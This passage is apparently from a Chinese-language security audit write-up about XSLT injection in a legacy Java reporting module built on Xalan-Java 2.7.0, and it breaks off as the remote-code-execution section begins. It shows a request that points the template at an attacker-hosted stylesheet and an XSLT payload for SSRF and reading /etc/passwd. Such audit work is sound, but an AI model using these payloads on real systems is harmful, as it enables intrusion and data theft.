从XML转换到命令执行：一次对老旧Java Web应用XSLT注入漏洞的审计与修复实录

当报表生成功能成为系统漏洞的突破口时，我们往往需要回溯到那些被遗忘的技术角落。最近在对某金融系统进行安全评估时，发现其核心报表模块仍在使用Xalan-Java 2.7.0处理XSLT转换——这个十年前发布的库在现代安全视角下犹如敞开的城门。本文将还原从黑盒探测到白盒修复的全过程，重点剖析三个致命攻击向量如何通过样式表转换实现系统沦陷。

1. 漏洞发现：从正常功能到攻击入口

审计初期，通过简单的参数模糊测试就发现了可疑端点：

http复制POST /report/generate HTTP/1.1
Content-Type: application/xml

<reportRequest>
    <template>/templates/monthly.xsl</template>
    <params>...</params>
</reportRequest>

修改template参数为http://attacker.com/evil.xsl后，服务器竟然完整加载了外部样式表。更危险的是，系统响应中出现了Apache Xalan的版本标识——这预示着可能存在Java扩展函数调用漏洞。

关键检测点：

• 外部实体引用测试（xsl:include/xsl:import）
• document()函数路径遍历尝试
• 系统属性泄露探测（system-property()）

2. 攻击面深度剖析

2.1 外部实体注入链

通过构造特殊样式表可实现SSRF攻击：

xml复制<xsl:import href="http://internal-service:8080/secret-api"/>
<xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
</xsl:template>

利用限制：

• 旧版Xalan默认不限制外部引用
• 网络隔离环境下可能通过DNS重绑定绕过

2.2 Java扩展函数RCE

当系统使用Xalan且未启用安全处理时，可直接调用Jav